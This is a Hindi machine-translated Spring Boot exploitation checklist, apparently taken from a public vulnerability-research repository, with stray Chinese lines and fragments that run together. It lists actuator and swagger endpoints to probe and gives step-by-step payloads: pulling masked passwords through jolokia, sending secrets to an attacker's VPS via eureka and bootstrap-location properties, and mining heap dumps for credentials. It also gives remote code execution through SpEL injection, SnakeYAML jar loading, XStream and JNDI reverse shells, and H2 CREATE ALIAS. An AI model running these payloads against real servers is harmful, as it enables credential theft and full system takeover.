
SpringBoot से संबंधित कमजोरियों के अध्ययन सामग्री, उपयोग विधियों और तकनीकों का संग्रह, ब्लैक बॉक्स सुरक्षा मूल्यांकन चेकलिस्ट
Spring Boot से संबंधित भेद्यता अध्ययन सामग्री, उपयोग विधियों और तकनीकों का संग्रह, ब्लैक-बॉक्स सुरक्षा मूल्यांकन चेक लिस्ट
⚠️ इस परियोजना की सभी सामग्री केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है, इस परियोजना के दुरुपयोग और दुरुपयोग के कारण होने वाली सभी क्षति के लिए संबंधित व्यक्ति जिम्मेदार नहीं हैं
/manage, /management या प्रोजेक्ट App संबंधी नाम को स्प्रिंग रूट पथ के रूप में कस्टमाइज़ करते हैं/ होता है, जबकि 2.x संस्करण में एकीकृत रूप से /actuator प्रारंभ पथ होता है/env, को कभी-कभी प्रोग्रामर द्वारा बदला जा सकता है, उदाहरण के लिए /appenv में बदलनाSpring Cloud, Spring Boot पर आधारित सेवाओं के निर्माण के लिए है, और कॉन्फ़िगरेशन प्रबंधन, सेवा खोज और पंजीकरण, स्मार्ट रूटिंग जैसी सामान्य सुविधाएँ प्रदान करता है, जो वितरित सिस्टम के तेज़ी से विकास में मदद करने वाले फ्रेमवर्क का एक क्रमबद्ध संग्रह है।
| निर्भरता | संस्करण सूची और निर्भर घटक संस्करण |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies | spring-boot-dependencies |
| छोटे संस्करण संख्या प्रत्यय | अर्थ |
|---|---|
| BUILD-SNAPSHOT | स्नैपशॉट संस्करण, कोड निश्चित नहीं है, परिवर्तनशील है |
| MX |
डेवलपर्स को यह एहसास नहीं था कि पता रिसाव से सुरक्षा खतरा हो सकता है, या विकास वातावरण से उत्पादन वातावरण में स्विच करते समय संबंधित व्यक्तियों ने कॉन्फ़िगरेशन फ़ाइल नहीं बदली, पर्यावरण कॉन्फ़िगरेशन स्विच करना भूल गए, आदि।
सीधे निम्नलिखित दो swagger संबंधित रूटों तक पहुँचें, यह सत्यापित करने के लिए कि भेद्यता मौजूद है या नहीं:``` /v2/api-docs /swagger-ui.html
कुछ अन्य swagger, swagger codegen, swagger-dubbo आदि संबंधित इंटरफ़ेस रूट जो मिल सकते हैं:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
इसके अलावा, निम्नलिखित spring boot actuator संबंधित रूट कभी-कभी कुछ इंटरफ़ेस पता जानकारी भी शामिल करते हैं (या अनुमान लगाते हैं), लेकिन पैरामीटर संबंधित जानकारी प्राप्त नहीं कर सकते:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**सामान्यतः, स्प्रिंग बूट एप्लिकेशन के संबंधित इंटरफेस और पैरामीटर जानकारी को उजागर करना कोई भेद्यता नहीं माना जाता है**, लेकिन "**डिफ़ॉल्ट सुरक्षा**" के दृष्टिकोण से, इन जानकारियों को उजागर न करना अधिक सुरक्षित है।
हमलावरों के लिए, वे आमतौर पर उजागर इंटरफेस का सावधानीपूर्वक ऑडिट करते हैं ताकि व्यवसाय प्रणाली की समझ बढ़ाई जा सके, और साथ ही जांचते हैं कि एप्लिकेशन सिस्टम में अनधिकृत पहुंच, अधिकार से अधिक पहुंच (privilege escalation) जैसी अन्य व्यावसायिक भेद्यताएं मौजूद हैं या नहीं।
### 0x02: अनुचित कॉन्फ़िगरेशन के कारण उजागर रूट्स
> मुख्यतः क्योंकि डेवलपर्स को विकास के दौरान इस बात का एहसास नहीं था कि रूट्स को उजागर करने से सुरक्षा जोखिम हो सकता है, या फिर उन्होंने मानक प्रक्रियाओं का पालन नहीं किया और लाइव होने पर उत्पादन वातावरण के कॉन्फ़िगरेशन को संशोधित/स्विच करना भूल गए।
संदर्भ [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) और [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) के अनुसार, अनुचित कॉन्फ़िगरेशन के कारण उजागर होने वाले डिफ़ॉल्ट अंतर्निर्मित रूट्स निम्नलिखित हो सकते हैं:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
其中漏洞 खोजने के लिए महत्वपूर्ण इंटरफेस हैं:
/env、/actuator/env
GET अनुरोध /env सीधे पर्यावरण चर, आंतरिक नेटवर्क पते, कॉन्फ़िगरेशन में उपयोगकर्ता नाम आदि को लीक कर देगा; जब प्रोग्रामर के प्रॉपर्टी नाम का नामकरण मानक नहीं होता है, उदाहरण के लिए password को psasword, pwd लिखा जाता है, तो पासवर्ड का प्लेनटेक्स्ट लीक हो जाएगा;
साथ ही, एक निश्चित संभावना है कि POST अनुरोध /env इंटरफेस के माध्यम से कुछ प्रॉपर्टी सेट की जा सकती हैं, जो अप्रत्यक्ष रूप से संबंधित RCE कमजोरियों को ट्रिगर कर सकती हैं; साथ ही तारक से ढके पासवर्ड, कुंजी और अन्य महत्वपूर्ण गोपनीय जानकारी का प्लेनटेक्स्ट प्राप्त करने की संभावना है।
/refresh、/actuator/refresh
POST अनुरोध /env इंटरफेस के माध्यम से प्रॉपर्टी सेट करने के बाद, साथ ही POST अनुरोध /refresh इंटरफेस के साथ मिलकर प्रॉपर्टी चर को रिफ्रेश करके संबंधित RCE कमजोरियों को ट्रिगर किया जा सकता है।
/restart、/actuator/restart
इस इंटरफेस के उजागर होने की संभावना कम है; POST अनुरोध /env इंटरफेस के माध्यम से प्रॉपर्टी सेट करने के बाद, फिर POST अनुरोध इंटरफेस के माध्यम से एप्लिकेशन को पुनरारंभ करके संबंधित RCE कमजोरियों को ट्रिगर किया जा सकता है।
/env इंटरफेस तक पहुँचने पर, spring actuator कुछ संवेदनशील कीवर्ड (जैसे password, secret) वाले प्रॉपर्टी नामों के संगत प्रॉपर्टी मानों को डिसेन्सिटाइज़ करने के लिए * चिह्न से बदल देता है
/jolokia या /actuator/jolokia इंटरफेस मौजूद होjolokia-core डिपेंडेंसी का उपयोग किया हो (संस्करण आवश्यकता अभी ज्ञात नहीं)लक्ष्य वेबसाइट के /env या /actuator/env इंटरफेस पर GET अनुरोध भेजें, ****** कीवर्ड खोजें, और तारक * से ढके प्रॉपर्टी मान के संगत प्रॉपर्टी नाम को खोजें।
नीचे दिए गए उदाहरण में security.user.password को वास्तव में प्राप्त किए जाने वाले प्रॉपर्टी नाम से बदलें, और सीधे पैकेट भेजें; प्लेनटेक्स्ट मान response पैकेट में value कुंजी में समाहित होता है।
org.springframework.boot Mbean को कॉल करेंवास्तव में, org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar वर्ग इंस्टेंस की getProperty विधि को कॉल कर रहा है
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment Mbeanवास्तव में यह org.springframework.cloud.context.environment.EnvironmentManager क्लास इंस्टेंस की getProperty विधि को कॉल करता है
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
लक्ष्य की विशिष्ट स्थिति और मौजूद Mbean भिन्न हो सकते हैं,
getPropertyजैसे कीवर्ड खोजकर, कॉल करने योग्य विधियाँ खोजी जा सकती हैं।
/env पर GET अनुरोध भेज सकते हैं/env पर POST अनुरोध भेज सकते हैं/refresh इंटरफ़ेस पर POST अनुरोध भेजकर कॉन्फ़िगरेशन ताज़ा कर सकते हैं (spring-boot-starter-actuator निर्भरता मौजूद होनी चाहिए)spring-cloud-starter-netflix-eureka-client निर्भरता का उपयोग करता हैलक्ष्य वेबसाइट के /env या /actuator/env इंटरफ़ेस पर GET अनुरोध भेजें, ****** कीवर्ड खोजें, और तारांकन (*) से छिपाए गए गुण मान के संगत गुण नाम का पता लगाएँ।
अपने नियंत्रण वाले बाहरी सर्वर पर पोर्ट 80 पर सुनें:```bash nc -lvk 80
##### चरण तीन: eureka.client.serviceUrl.defaultZone गुण सेट करना
नीचे दिए गए `http://value:${security.user.password}@your-vps-ip` में `security.user.password` को उस संबंधित तारांकन * से ढके गुण नाम से बदलें जिसे आप प्राप्त करना चाहते हैं;
`your-vps-ip` को अपने बाहरी सर्वर के वास्तविक आईपी पते से बदलें।
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### चरण 4: कॉन्फ़िगरेशन ताज़ा करें
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### चरण पाँच: गुण मान को डिकोड करना
सामान्य रूप से, इस समय nc द्वारा सुन रहा सर्वर लक्ष्य से एक अनुरोध प्राप्त करेगा, जिसमें निम्नलिखित के समान `Authorization` हेडर सामग्री शामिल है:```
Authorization: Basic dmFsdWU6MTIzNDU2
इसके dmFsdWU6MTIzNDU2 भाग को base64 से डिकोड करने पर, सादा पाठ मान value:123456 प्राप्त होता है, जिसमें 123456 लक्ष्य तारांकन * से मास्क किए जाने से पहले की गुण मान का सादा पाठ है।
/env के माध्यम से गुण सेट करके लक्ष्य को बाहरी नेटवर्क के किसी निर्दिष्ट पते पर कोई भी http अनुरोध भेजने के लिए ट्रिगर करेंUUUUnotfound द्वारा प्रस्तावित issue-1 का संदर्भ लें, लक्ष्य द्वारा बाहरी http अनुरोध भेजने की प्रक्रिया में, url path में प्लेसहोल्डर का उपयोग करके डेटा बाहर लाया जा सकता है
लक्ष्य वेबसाइट के /env या /actuator/env एंडपॉइंट पर GET अनुरोध करें, ****** कीवर्ड खोजें, और तारांकन * द्वारा मास्क किए गए गुण मान से संबंधित गुण नाम ढूँढें जिसे आप प्राप्त करना चाहते हैं।
अपने नियंत्रण वाले बाहरी नेटवर्क सर्वर पर पोर्ट 80 सुनें:```bash nc -lvk 80
##### चरण तीन: बाहरी http अनुरोध को ट्रिगर करें
- `spring.cloud.bootstrap.location` विधि (**यह सादे डेटा में विशेष url वर्ण होने की स्थिति पर भी लागू होता है**)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` विधि (**के लिए लागू नहीं है** जहां सादे डेटा में विशेष url वर्ण हों)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06:मास्क किए गए पासवर्ड का स्पष्ट पाठ प्राप्त करना (विधि चार)
> /env इंटरफ़ेस तक पहुँचने पर, spring actuator कुछ संवेदनशील कीवर्ड (जैसे password, secret) वाले गुण नामों के संगत गुण मानों को * चिह्न से बदल कर मास्क करता है।
#### उपयोग की शर्तें:
- सामान्य रूप से GET अनुरोध लक्ष्य `/heapdump` या `/actuator/heapdump` इंटरफ़ेस
#### उपयोग विधि:
##### चरण 1: प्राप्त करने के लिए गुण नाम ढूँढें
लक्ष्य वेबसाइट के `/env` या `/actuator/env` इंटरफ़ेस पर GET अनुरोध करें, `******` कीवर्ड खोजें, और उस गुण नाम को खोजें जो मास्क किए गए * चिह्न वाले गुण मान से संबंधित है।
##### चरण 2: jvm heap जानकारी डाउनलोड करें
> डाउनलोड किए गए heapdump फ़ाइल का आकार सामान्यतः 50M—500M के बीच होता है, कभी-कभी 2G से बड़ा भी हो सकता है।
`GET` अनुरोध लक्ष्य के `/heapdump` या `/actuator/heapdump` इंटरफ़ेस पर भेजें और एप्लिकेशन का रीयल-टाइम JVM ढेर जानकारी डाउनलोड करें।
##### चरण 3: MAT का उपयोग करके jvm heap से पासवर्ड का स्पष्ट पाठ प्राप्त करें
रेफर [लेख](https://landgrey.me/blog/16/) विधि, [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) उपकरण के **OQL** कथन का उपयोग करें।```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
सहायक उपकरण "password" जैसे कीवर्ड के साथ त्वरित फ़िल्टर और विश्लेषण करने के लिए, पासवर्ड और अन्य संवेदनशील जानकारी का स्पष्ट पाठ प्राप्त करने के लिए।
चूँकि Spring Boot से संबंधित कमजोरियाँ कई घटकों की कमजोरियों के संयोजन के कारण हो सकती हैं, इसलिए कुछ कमजोरियों के नाम पूरी तरह से मानक नहीं हो सकते हैं, अंतर करने में सक्षम होने के आधार पर।
उदाहरण के लिए, यदि /article?id=xxx तक पहुँचने पर पृष्ठ 500 स्थिति कोड के साथ त्रुटि दिखाता है: Whitelabel Error Page, तो बाद के पेलोड सभी पैरामीटर id पर प्रयास किए जाएँगे।
/article?id=${7*7} दर्ज करें, यदि त्रुटि पृष्ठ 7*7 के मान 49 की गणना करके त्रुटि पृष्ठ पर प्रदर्शित करता है, तो मूलतः यह निर्धारित किया जा सकता है कि लक्ष्य में SpEL अभिव्यक्ति इंजेक्शन भेद्यता मौजूद है।
स्ट्रिंग प्रारूप को 0x** जावा बाइट रूप में परिवर्तित करें, मनमाने कोड को निष्पादित करने में सुविधा के लिए:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
निष्पादित करें `open -a Calculator` कमांड```java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelper वर्ग में प्रवेश करता हैparseStringValue विधि द्वारा पुनरावर्ती रूप से पार्स किया जाएगा${} से घिरी सामग्री को org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration वर्ग की resolvePlaceholder विधि द्वारा SpEL अभिव्यक्ति के रूप में पार्स और निष्पादित किया जाएगा, जिसके परिणामस्वरूप RCE भेद्यता होगी SpringBoot SpEL अभिव्यक्ति इंजेक्शन भेद्यता - विश्लेषण और पुनरुत्पादन
repository/springboot-spel-rce
सामान्य पहुँच:``` http://127.0.0.1:9091/article?id=66
`open -a Calculator` कमांड निष्पादित करें:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env इंटरफ़ेस पर POST अनुरोध भेजकर गुण सेट किए जा सकते हैं/refresh इंटरफ़ेस पर POST अनुरोध भेजकर कॉन्फ़िगरेशन रिफ़्रेश किया जा सकता है (spring-boot-starter-actuator निर्भरता मौजूद होनी चाहिए)spring-cloud-starter संस्करण < 1.3.0.RELEASE होना चाहिएअपने नियंत्रण वाली VPS मशीन पर एक सरल HTTP सर्वर शुरू करें, पोर्ट के रूप में सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें।```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
वेबसाइट की रूट डायरेक्टरी में `yml` एक्सटेंशन वाली फ़ाइल `example.yml` रखें, सामग्री इस प्रकार है:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload。
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
repository/springcloud-snakeyaml-rce
सामान्य पहुँच:``` http://127.0.0.1:9092/env
### 0x03:eureka xstream deserialization RCE
#### उपयोग की शर्तें:
- लक्ष्य वेबसाइट के `/env` इंटरफ़ेस पर POST अनुरोध करके गुण सेट कर सकते हैं
- लक्ष्य वेबसाइट के `/refresh` इंटरफ़ेस पर POST अनुरोध करके कॉन्फ़िगरेशन रिफ्रेश कर सकते हैं (`spring-boot-starter-actuator` निर्भरता मौजूद है)
- लक्ष्य द्वारा उपयोग किया गया `eureka-client` < 1.8.7 (आमतौर पर `spring-cloud-starter-netflix-eureka-client` निर्भरता में शामिल)
- लक्ष्य हमलावर के HTTP सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुंच सकता है)
#### उपयोग विधि:
##### चरण 1:दुर्भावनापूर्ण XStream पेलोड का जवाब देने वाली वेबसाइट स्थापित करना
Flask पर निर्भर और आवश्यकताओं को पूरा करने वाला एक [python स्क्रिप्ट उदाहरण](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) प्रदान करता है, जिसका उद्देश्य लक्ष्य Linux मशीन पर मौजूद python का उपयोग करके रिवर्स शेल प्राप्त करना है।
अपने नियंत्रित सर्वर पर python का उपयोग करके उपरोक्त स्क्रिप्ट चलाएं, और वास्तविक स्थिति के अनुसार स्क्रिप्ट में रिवर्स शेल का ip पता और पोर्ट नंबर संशोधित करें।
##### चरण 2:रिवर्स शेल के पोर्ट को सुनना
आमतौर पर nc का उपयोग करके पोर्ट को सुनें और रिवर्स शेल की प्रतीक्षा करें।```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Spring Boot Actuator अनधिकृत पहुंच से getshell तक
repository/springboot-eureka-xstream-rce
सामान्य पहुंच:``` http://127.0.0.1:9093/env
### 0x04:jolokia logback JNDI RCE
#### उपयोग की शर्तें:
- लक्ष्य वेबसाइट में `/jolokia` या `/actuator/jolokia` इंटरफ़ेस मौजूद है
- लक्ष्य ने `jolokia-core` निर्भरता का उपयोग किया है (संस्करण आवश्यकता अज्ञात है) और वातावरण में संबंधित MBean मौजूद है
- लक्ष्य हमलावर के HTTP सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)
- सामान्य JNDI इंजेक्शन लक्ष्य JDK संस्करण से प्रभावित होता है, jdk < 6u201/7u191/8u182/11.0.1(LDAP), लेकिन संबंधित वातावरण को बायपास किया जा सकता है
#### उपयोग विधि:
##### चरण 1:मौजूदा MBeans देखें
`/jolokia/list` इंटरफ़ेस तक पहुँचें, जाँचें कि `ch.qos.logback.classic.jmx.JMXConfigurator` और `reloadByURL` कीवर्ड मौजूद हैं या नहीं।
##### चरण 2:xml फ़ाइल होस्ट करें
अपने नियंत्रित VPS मशीन पर एक सरल HTTP सर्वर शुरू करें, पोर्ट जितना संभव हो सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करें```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
रूट निर्देशिका में xml में समाप्त होने वाली example.xml फ़ाइल रखें, सामग्री इस प्रकार है:```xml
##### चरण तीन:निष्पादित करने के लिए Java कोड तैयार करें
शेल को रिबाउंड करने के लिए अनुकूलित [Java उदाहरण कोड](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` लिखें,
निम्न संस्करण JDK के साथ संगत तरीके से संकलित करें:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
फिर उत्पन्न JNDIObject.class फ़ाइल को चरण दो में उल्लिखित वेबसाइट रूट डायरेक्टरी में कॉपी करें।
marshalsec डाउनलोड करें और निम्नलिखित कमांड का उपयोग करके संबंधित ldap सेवा स्थापित करें:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### चरण पाँच: रिवर्स shell के पोर्ट को सुनें
आमतौर पर nc का उपयोग करके पोर्ट को सुनें, रिवर्स shell की प्रतीक्षा करें```bash
nc -lv 443
⚠️ यदि लक्ष्य ने example.xml का सफलतापूर्वक अनुरोध किया और marshalsec ने भी लक्ष्य का अनुरोध प्राप्त किया, लेकिन लक्ष्य ने JNDIObject.class का अनुरोध नहीं किया, तो संभावना है कि लक्ष्य वातावरण का jdk संस्करण बहुत अधिक है, जिसके कारण JNDI का उपयोग विफल हो जाता है।
अपने वास्तविक your-vps-ip पते को बदलकर URL तक पहुंचें और भेद्यता को ट्रिगर करें:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### भेद्यता सिद्धांत:
1. भेद्यता को ट्रिगर करने वाले URL तक सीधे पहुंचना, जो jolokia के माध्यम से `ch.qos.logback.classic.jmx.JMXConfigurator` क्लास की `reloadByURL` विधि को कॉल करने के समान है।
2. लक्ष्य मशीन बाहरी लॉग कॉन्फ़िगरेशन फ़ाइल URL पते का अनुरोध करती है, और दुर्भावनापूर्ण xml फ़ाइल सामग्री प्राप्त करती है।
3. लक्ष्य मशीन xml फ़ाइल को पार्स करने के लिए `saxParser.parse` का उपयोग करती है (यहां XXE भेद्यता उत्पन्न होती है)।
4. xml फ़ाइल `logback` डिपेंडेंसी के `insertFromJNDI` टैग का उपयोग करके बाहरी JNDI सर्वर पता सेट करती है।
5. लक्ष्य मशीन दुर्भावनापूर्ण JNDI सर्वर का अनुरोध करती है, जिससे JNDI इंजेक्शन होता है और RCE भेद्यता उत्पन्न होती है।
#### भेद्यता विश्लेषण:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### भेद्यता वातावरण:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
सामान्य पहुंच:```
http://127.0.0.1:9094/env
/jolokia या /actuator/jolokia इंटरफ़ेस मौजूद हैjolokia-core निर्भरता का उपयोग करता है (संस्करण आवश्यकता वर्तमान में अज्ञात है) और वातावरण में संबंधित MBean मौजूद हैं/jolokia/list इंटरफ़ेस पर जाएँ और देखें कि क्या type=MBeanFactory और createJNDIRealm कीवर्ड मौजूद हैं।
रिवर्स शेल प्राप्त करने के लिए अनुकूलित Java उदाहरण कोड JNDIObject.java लिखें।
अपने नियंत्रित VPS मशीन पर एक सरल HTTP सर्वर चालू करें, पोर्ट को सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें।```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
将**चरण दो** में संकलित class फ़ाइल को HTTP सर्वर की रूट निर्देशिका में कॉपी करें।
##### चरण चार: दुर्भावनापूर्ण RMI सेवा स्थापित करें
[marshalsec](https://github.com/mbechler/marshalsec) डाउनलोड करें और नीचे दिए गए कमांड का उपयोग करके संबंधित RMI सेवा स्थापित करें:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
सामान्यतः, nc का उपयोग करके पोर्ट को सुनें और रिवर्स शेल की प्रतीक्षा करें।```bash nc -lvp 443
##### चरण छह: दुर्भावनापूर्ण पेलोड भेजें
वास्तविक स्थिति के अनुसार [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) स्क्रिप्ट में लक्ष्य पता, RMI पता, पोर्ट आदि जानकारी संशोधित करें, फिर अपने नियंत्रित सर्वर पर चलाएँ।
#### भेद्यता सिद्धांत:
1. Jolokia का उपयोग करके `createJNDIRealm` को कॉल करके JNDIRealm बनाएं
2. `connectionURL` पते को RMI Service URL पर सेट करें
3. `contextFactory` को `RegistryContextFactory` पर सेट करें
4. Realm को रोकें
5. निर्दिष्ट RMI पते पर JNDI इंजेक्शन को ट्रिगर करने के लिए Realm प्रारंभ करें, जिससे RCE भेद्यता उत्पन्न हो
#### भेद्यता विश्लेषण:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### भेद्यता वातावरण:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
सामान्य पहुँच:```
http://127.0.0.1:9094/env
/env एंडपॉइंट पर POST अनुरोध भेजकर प्रॉपर्टी सेट कर सकते हैं/restart एंडपॉइंट पर POST अनुरोध भेजकर एप्लिकेशन को पुनः प्रारंभ कर सकते हैंcom.h2database.h2 डिपेंडेंसी मौजूद है (संस्करण आवश्यकता अभी अज्ञात है)⚠️ नीचे दिए गए payload में 'T5' विधि को हर बार कमांड निष्पादित करने के बाद नाम बदलना होगा (जैसे T6), ताकि इसे पुनः उपयोग के लिए बनाया जा सके, अन्यथा अगली बार restart करने पर भेद्यता ट्रिगर नहीं होगी
spring 1.x (बिना आउटपुट के कमांड निष्पादन)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(बिना आउटपुट के कमांड निष्पादन)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
CREATE ALIAS कथन पर सेट किया जाता है जो एक कस्टम फ़ंक्शन बनाता है remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
सामान्य पहुंच:``` http://127.0.0.1:9096/actuator/env
### 0x07:h2 डेटाबेस कंसोल JNDI RCE
#### उपयोग शर्तें:
- `com.h2database.h2` डिपेंडेंसी मौजूद है (संस्करण आवश्यकता अभी ज्ञात नहीं)
- स्प्रिंग कॉन्फ़िगरेशन में h2 कंसोल सक्षम है `spring.h2.console.enabled=true`
- लक्ष्य हमलावर के सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)
- JNDI इंजेक्शन लक्ष्य JDK संस्करण से प्रभावित होता है, jdk < 6u201/7u191/8u182/11.0.1 (LDAP विधि)
#### उपयोग विधि:
##### चरण 1: jsessionid प्राप्त करने के लिए रूट तक पहुँचें
लक्ष्य के h2 कंसोल के डिफ़ॉल्ट रूट `/h2-console` तक सीधे पहुँचें, लक्ष्य पृष्ठ `/h2-console/login.jsp?jsessionid=xxxxxx` पर रीडायरेक्ट होगा, वास्तविक `jsessionid=xxxxxx` मान नोट करें।
##### चरण 2: निष्पादित करने के लिए Java कोड तैयार करें
शेल रिवर्स करने के लिए अनुकूलित [Java नमूना कोड](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` लिखें,
निम्न संस्करण JDK के साथ संगतता के लिए संकलित करें:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
